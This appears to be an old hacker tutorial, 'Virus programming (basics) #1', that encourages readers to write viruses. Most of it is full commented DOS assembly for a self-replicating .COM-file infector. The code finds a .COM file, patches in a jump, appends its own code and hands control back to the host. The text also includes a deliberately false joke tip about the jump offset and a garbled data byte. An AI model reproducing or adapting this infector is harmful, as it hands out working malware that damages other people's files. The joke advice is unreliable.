319 lines
13 KiB
Plaintext
319 lines
13 KiB
Plaintext
|
Virus programming (basics) #1...
|
|||
|
-----------------------------------------------------------------
|
|||
|
This section is dedicated to those who would like to write a
|
|||
|
virus, but don't have the knowledge to do so. First of all,
|
|||
|
writing a virus is no big deal. It is an easy project, but one
|
|||
|
which requires some basic programming skills, and the desire to
|
|||
|
write a virus! If either of these is missing, writing a virus
|
|||
|
would be tedious indeed!.
|
|||
|
|
|||
|
Well, if you meet these requisites, keep reading this article....
|
|||
|
|
|||
|
JE READ
|
|||
|
JNE FUCK_YOU!
|
|||
|
READ:
|
|||
|
|
|||
|
The survival of a virus is based in its ability to reproduce. "So
|
|||
|
how the fuck do I make a program reproduce?", you might ask.
|
|||
|
Simple, by getting it to copy itself to other files....
|
|||
|
|
|||
|
The functional logic of a virus is as follows:
|
|||
|
|
|||
|
1- Search for a file to infect
|
|||
|
2- Open the file to see if it is infected
|
|||
|
3- If infected, search for another file
|
|||
|
4- Else, infect the file
|
|||
|
5- Return control to the host program.
|
|||
|
|
|||
|
The following is an example of a simple virus:
|
|||
|
|
|||
|
;****************************************************************
|
|||
|
; START OF THE EXAMPLE:
|
|||
|
;****************************************************************
|
|||
|
;Warning, this example is a (piece of shit?)
|
|||
|
; - The virus does not test for prior infection
|
|||
|
; - it searches only for the first .COM file in the current
|
|||
|
; directory
|
|||
|
;
|
|||
|
; Careful when executing this file, since the first time it's
|
|||
|
; executed it will search for and infect the first file in the
|
|||
|
; directory. If we later run the newly infected file, it will find
|
|||
|
|
|||
|
; the first file in its directory, itself. Thus, it will re-infect
|
|||
|
|
|||
|
; itself over and over.
|
|||
|
;===================CODIGO=======================================
|
|||
|
;(The variables in a .COM file are relative to offset 100h).
|
|||
|
|
|||
|
codigo segment 'code'
|
|||
|
org 100h ;Organize all the code starting
|
|||
|
; from offset 100h
|
|||
|
assume cs:codigo,ds:codigo,es:codigo ;Define the use of the
|
|||
|
;segments
|
|||
|
|
|||
|
start proc far ;Start the routine
|
|||
|
COMIENZO:
|
|||
|
push cs ;Store CS
|
|||
|
push cs ;Store CS
|
|||
|
; once again.
|
|||
|
pop ds ;Bring DS out from stack
|
|||
|
pop es ;Bring ES out from stack
|
|||
|
|
|||
|
call falso_proc ;Call proc. so that its
|
|||
|
; address is placed in the stack
|
|||
|
falso_proc proc near
|
|||
|
falso_proc endp
|
|||
|
|
|||
|
pop bp ;BP<== Proc. address.
|
|||
|
sub bp, 107h ;BP<== BP - Previous directory
|
|||
|
|
|||
|
|
|||
|
;This is done to take the variables relative to BP, since the
|
|||
|
;infection displaces the variables at exactly the length of the
|
|||
|
; file. At the first infection, instruction "SUB BP, 107h" is
|
|||
|
; 107h, so that the contents of BP is 0; when I call a variable
|
|||
|
; with "BP+VARIABLE" the value of the variable's address is not
|
|||
|
; modified. When I load it , for example, from a 100h byte
|
|||
|
; infected file, the instruction "SUB BP, 107h" leaves me at
|
|||
|
; address 207h which means BP=100h, the size of the original file.
|
|||
|
; Had I called the variable without adding BP, I would have been
|
|||
|
; short by 100h bytes.
|
|||
|
|
|||
|
|
|||
|
;Find the first .COM file in the directory
|
|||
|
-----------------------------------------
|
|||
|
mov ah, 4eh ;Search for the 1st file
|
|||
|
lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
|
|||
|
;(*.*) so it will search all
|
|||
|
;the files, including directory
|
|||
|
;names with extensions.
|
|||
|
mov cx, 0000h ;Entry attributes
|
|||
|
int 21h
|
|||
|
|
|||
|
;These attributes mentioned in the commentary are the directory's
|
|||
|
; entry attributes. When I set the attributes to 0, I'm telling
|
|||
|
; DOS to search normal files. If I include a bit combination which
|
|||
|
|
|||
|
; provides the Hidden, System or Directory attributes, DOS will
|
|||
|
; search for files with those attributes, as well as the normal
|
|||
|
; files. If the search range includes the Volume bit, the search
|
|||
|
; is limited to that.
|
|||
|
|
|||
|
;These are the bits which correspond to each attribute:
|
|||
|
;Bits: 7 6 5 4 3 2 1 0
|
|||
|
; . . . . . . . 1 Bit 0: Read only
|
|||
|
; . . . . . . 1 . Bit 1: Hidden
|
|||
|
; . . . . . 1 . . Bit 2: System
|
|||
|
; . . . . 1 . . . Bit 3: Volume
|
|||
|
; . . . 1 . . . . Bit 4: Directory
|
|||
|
; . . 1 . . . . . Bit 5: File
|
|||
|
;
|
|||
|
;Bits 6 and 7 are not used as they are reserved for "future
|
|||
|
; applications".
|
|||
|
|
|||
|
;Open file
|
|||
|
;----------------------------------------------------------------
|
|||
|
mov ah, 3dh ;Open the file.
|
|||
|
mov al, 00000010b ;read/write.
|
|||
|
mov dx, 009eh ;DX<== DTA(filename) offset
|
|||
|
int 21h ;put the handle in AX
|
|||
|
push ax ;and store in stack.
|
|||
|
|
|||
|
;The attributes I'm setting in AL are not the same as before.
|
|||
|
; These are the "open" attributes. We are only interested in the
|
|||
|
; first 3 bits,
|
|||
|
|
|||
|
;bits 2 1 0:
|
|||
|
;
|
|||
|
; 0 0 0 Read only mode
|
|||
|
; 0 0 1 Write only mode
|
|||
|
; 0 1 0 Read/Write mode
|
|||
|
;
|
|||
|
;OK, we now have the file attributes stored in AL. What we now
|
|||
|
; need to do is to store in DX the offset of the variable where
|
|||
|
; I've stored the ASCIIZ chain with the name of the file to be
|
|||
|
; opened. In this case, we don't have a NAME_OF_FILE variable.
|
|||
|
; Instead, the name is located in the DTA (Disk Transfer Area). I
|
|||
|
; we have it in the DTA...... Why? Simply because when we search
|
|||
|
|
|||
|
; for a file to infect, all the information we need is returned to
|
|||
|
; this memory area. This buffer, if it was not reset, is found in
|
|||
|
; the PSP; more precisely, it starts at offset 80h and is 43d bytes
|
|||
|
|
|||
|
; in size.
|
|||
|
;
|
|||
|
;The DTA format is as follows:
|
|||
|
;
|
|||
|
;Offset Bytes Function
|
|||
|
; 00h 21d Used by DOS for the 4fh service
|
|||
|
; (search for the next file)
|
|||
|
; 15h 01d Attributes of the file that's been found
|
|||
|
; 16h 02d File time
|
|||
|
; 18h 02d File date
|
|||
|
; 1Ah 04d File size in bytes
|
|||
|
; 1Eh 13d File name in an ASCIIZ chain
|
|||
|
; (FILENAME.EXT),0
|
|||
|
;
|
|||
|
;Well, all that remains to be doe is to give DX the position in
|
|||
|
; memory where I've stored the filename: "MOV DX, E1h" and its's
|
|||
|
; done. But careful now, remember that DTA starts at offset 80h,
|
|||
|
|
|||
|
; which means I have to pass to DX the value "80h+1Eh = 9Eh". That
|
|||
|
|
|||
|
; would than leave "MOV DX, 9Eh"; the problem is solved. Now you
|
|||
|
are probably asking yourselves what I mean by "handle". The handle
|
|||
|
is a number which tells DOS which file we want. DOS gives us a
|
|||
|
handle for each file we open so we have to be careful to have the
|
|||
|
correct handle for each file which we read/write.
|
|||
|
|
|||
|
;Read the first 3 bytes.
|
|||
|
-----------------------------------------------------
|
|||
|
pop bx ;I take the handle from the
|
|||
|
;stack to BX
|
|||
|
push bx ;and I store it again.
|
|||
|
mov ah, 3fh ;Read file.
|
|||
|
mov cx, 0003h ;Read 3 bytes.
|
|||
|
lea dx, bp+buffer ;and store in the buffer.
|
|||
|
int 21h
|
|||
|
|
|||
|
INFECTAR: ;(infect)
|
|||
|
;Move pointer to the start.
|
|||
|
---------------------------------------------------
|
|||
|
mov ax, 4200h ;I move the write pointer
|
|||
|
;to the beginning of the program
|
|||
|
mov cx, 0000h
|
|||
|
mov dx, 0000h
|
|||
|
int 21h
|
|||
|
|
|||
|
;The pointer's displacement, relative to the position of the
|
|||
|
; pointer as specified in AL, is placed in CX and DX.
|
|||
|
; Pointer displacement modes set in AL:
|
|||
|
; AL <== 00 Move pointer to the beginning of the file.
|
|||
|
; AL <== 01 leave pointer where it is.
|
|||
|
; AL <== 02 Move pointer to end-of-file.
|
|||
|
|
|||
|
;Write the first byte (jmp)
|
|||
|
-------------------------------------------------
|
|||
|
mov ah, 40h ;write the first byte.
|
|||
|
mov cx, 1d ;Quantity=1.
|
|||
|
lea dx, bp+jump ;DX<== JUMP offset
|
|||
|
int 21h
|
|||
|
|
|||
|
;(Here we still need the handle, but we don't need to set it again
|
|||
|
; because the register which contained the information was not
|
|||
|
; modified.
|
|||
|
;
|
|||
|
;The first byte to be written is a JUMP instruction (the symbol for
|
|||
|
|
|||
|
; the jump is below). What follows the jump is the address of the
|
|||
|
; jump, file-length + 1. (test the "+ 1" thoroughly, since this
|
|||
|
; can cause problems; if so, multiply by 18 or subtract 23.)
|
|||
|
; Hehehehe.
|
|||
|
;Since the entire virus code is copied at the end of the file, the
|
|||
|
; jump gives the virus control in an infected file.
|
|||
|
|
|||
|
;Calculating file length
|
|||
|
-------------------------------------------------
|
|||
|
mov cx, 2 ;Copy 2 bytes.
|
|||
|
mov si, 009ah ;SI<== DTA offset
|
|||
|
lea di, bp+longitud ;DI<== File LENGTH offset.
|
|||
|
rep movsb ;Copy.
|
|||
|
|
|||
|
|
|||
|
;This instruction must have the 'SOURCE' buffer address in DS:SI
|
|||
|
; and the address where the string will be copied in ES:DI (in this
|
|||
|
|
|||
|
; case, I copy the file length of the DTA to the variable
|
|||
|
; 'LONGITUD').
|
|||
|
|
|||
|
|
|||
|
sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
|
|||
|
;[LONGITUD]
|
|||
|
|
|||
|
;The JMP is completed
|
|||
|
--------------------------------------
|
|||
|
mov ah, 40h ;Write.
|
|||
|
mov cx, 2d ;Number of bytes.
|
|||
|
lea dx, bp+longitud ;DX<== LONGITUD (length)
|
|||
|
; offset
|
|||
|
int 21h
|
|||
|
|
|||
|
;Move pointer to end
|
|||
|
-------------------------------------------------------
|
|||
|
mov ax, 4202h ;Move the write pointer to the
|
|||
|
;end of the program.
|
|||
|
mov cx, 0000h
|
|||
|
mov dx, 0000h
|
|||
|
int 21h
|
|||
|
add word ptr [bp+longitud],3 ;Restore LONGITUD.
|
|||
|
|
|||
|
;Copy the virus to the program.
|
|||
|
---------------------------------------------------
|
|||
|
pop bx ;Restore the handle.
|
|||
|
mov ah, 40h
|
|||
|
mov cx, 190d ;number of bytes to copy.
|
|||
|
lea dx, bp+comienzo ;Start copying from....
|
|||
|
int 21h
|
|||
|
|
|||
|
;Close the file after infection
|
|||
|
------------------------------------
|
|||
|
mov ah, 3eh ;Close file.
|
|||
|
int 21h
|
|||
|
|
|||
|
;Here, too, we need in DS:DX the address of the buffer which
|
|||
|
; contains the filename string, but in this case DS and DX already
|
|||
|
; contain those values from before.
|
|||
|
|
|||
|
NO_INFECTAR:
|
|||
|
|
|||
|
;==================RETURN CONTROL TO THE HOST=====================
|
|||
|
;Copy the buffer which contains the first 3 bytes of the file into
|
|||
|
; memory.
|
|||
|
------------------
|
|||
|
mov cx, 0003h ;Number of bytes (3).
|
|||
|
mov di, 0100h ;DI<== offset 100h. Beginning of the
|
|||
|
;program in memory.
|
|||
|
lea si, bp+buffer ;SI<== BUFFER offset
|
|||
|
rep movsb ;Copy.
|
|||
|
|
|||
|
;What we are doing here is to "fix" the file, since when it was
|
|||
|
; infected, the first few bytes are overwritten by the virus. That
|
|||
|
|
|||
|
; is why we reconstruct the file to its original state, by copying
|
|||
|
; the first 3 bytes, which we had stored earlier, into memory.
|
|||
|
|
|||
|
;Jump to offset 100h
|
|||
|
--------------------------------------------------------
|
|||
|
|
|||
|
mov ax, 0100h ;Address needed to execute the host
|
|||
|
jmp ax
|
|||
|
|
|||
|
;As we mentioned before, in .COM files the executable code begins
|
|||
|
; at offset 100h. The information found between 00h and 100h is
|
|||
|
; program data, like the DTA for example.
|
|||
|
|
|||
|
;The main difference between a .COM file and an .EXE is that a .COM
|
|||
|
; cannot occupy more than one memory segment, or 65535 bytes.
|
|||
|
; .EXEs can, because DOS can 'tailor' them to fit into a number of
|
|||
|
; different segments. Unlike.EXE files. .COM files are faithful
|
|||
|
; reproductions of the contents of memory.
|
|||
|
|
|||
|
;====================DATA AREA===================================
|
|||
|
|
|||
|
buffer db 7d dup(0)
|
|||
|
longitud db 2 dup(0)
|
|||
|
file_inf db '*.COM',0
|
|||
|
jump db '<27>',0 ;<----jump ascii
|
|||
|
|
|||
|
;(The character '0' is the end of the ASCIIZ string)
|
|||
|
|
|||
|
start endp ;End of main procedure
|
|||
|
codigo ends ;end of code segment
|
|||
|
end comienzo ;END. Go to COMIENZO
|
|||
|
|
|||
|
;****************************************************************
|
|||
|
; END OF EXAMPLE
|
|||
|
;****************************************************************
|
|||
|
Drako.
|
|||
|
|